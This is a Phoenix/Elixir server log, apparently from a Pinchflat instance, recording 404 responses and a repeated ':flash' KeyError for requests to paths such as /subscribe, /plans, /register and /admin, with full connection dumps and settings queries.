Phoenix.Router.NoRouteError to 404 response 06:39:42.144 [error] #PID<0.16386.0> running PinchflatWeb.Endpoint (connection #PID<0.16375.0>, stream id 11) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /subscribe ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /subscribe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/subscribe", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16386.0>, params: %{}, path_info: ["subscribe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/subscribe", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGYTGscjFoBUwgAA_UC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/subscribe", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /subscribe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/subscribe", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16386.0>, params: %{}, path_info: ["subscribe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwar (truncated) 06:39:42.151 [info] GET /plans 06:39:42.151 [debug] QUERY OK source="settings" db=0.3ms idle=192.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:42.152 [debug] QUERY OK source="settings" db=0.1ms idle=192.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:42.152 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:39:42.152 [error] #PID<0.16387.0> running PinchflatWeb.Endpoint (connection #PID<0.16375.0>, stream id 12) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /plans ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /plans (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/plans", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16387.0>, params: %{}, path_info: ["plans"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/plans", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGYTGudODvBxRkAA_WC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/plans", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /plans (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/plans", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16387.0>, params: %{}, path_info: ["plans"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, (truncated) 06:39:42.268 [info] GET /register 06:39:42.269 [debug] QUERY OK source="settings" db=0.1ms idle=205.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:42.269 [debug] QUERY OK source="settings" db=0.1ms idle=126.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:42.269 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:39:42.270 [error] #PID<0.16388.0> running PinchflatWeb.Endpoint (connection #PID<0.16375.0>, stream id 13) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /register ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /register (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/register", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16388.0>, params: %{}, path_info: ["register"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/register", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGYTHKiEdCnTfkAA_YC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/register", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /register (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/register", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16388.0>, params: %{}, path_info: ["register"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host" (truncated) 06:39:42.346 [info] GET /admin 06:39:42.347 [debug] QUERY OK source="settings" db=0.1ms idle=203.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:42.347 [debug] QUERY OK source="settings" db=0.1ms idle=195.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:42.347 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:39:42.348 [error] #PID<0.16389.0> running PinchflatWeb.Endpoint (connection #PID<0.16375.0>, stream id 14) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /admin ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16389.0>, params: %{}, path_info: ["admin"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/admin", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGYTHdIMulgq_EAA_aC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16389.0>, params: %{}, path_info: ["admin"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, (truncated) 06:39:42.930 [info] GET /billing 06:39:42.931 [debug] QUERY OK source="settings" db=0.1ms idle=779.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", 